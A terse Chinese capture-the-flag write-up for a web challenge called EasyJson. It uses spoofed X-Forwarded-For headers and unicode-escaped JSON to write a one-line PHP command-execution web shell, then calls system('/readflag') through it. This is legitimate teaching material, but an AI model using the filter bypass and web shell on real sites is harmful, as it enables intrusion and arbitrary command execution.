西湖论剑Web之EasyJson

文章来源：EDI安全

ff设置ip 获取目录

filename=index.php可过check

关键代码转unicode

content = \u0063\u006f\u006e\u0074\u0065\u006e\u0074
shell = <?\u0070\u0068\u0070\u0020\u0024\u005f\u0047\u0045\u0054\u005b\u0030\u005d\u0028\u0024\u005f\u0047\u0045\u0054\u005b\u0031\u005d\u0029\u003b?

GET /?source=1&action=write&filename=index.php HTTP/1.1
Host: easyjson.44143b.challenge.gcsis.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Content-Length: 191

{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"<?\u0070\u0068\u0070\u0020\u0024\u005f\u0047\u0045\u0054\u005b\u0030\u005d\u0028\u0024\u005f\u0047\u0045\u0054\u005b\u0031\u005d\u0029\u003b?

http://easyjson.44143b.challenge.gcsis.cn/sandbox/7601c9fd3c6c10bab0ebbfdd50353709d435320d/?0=system&1=/readflag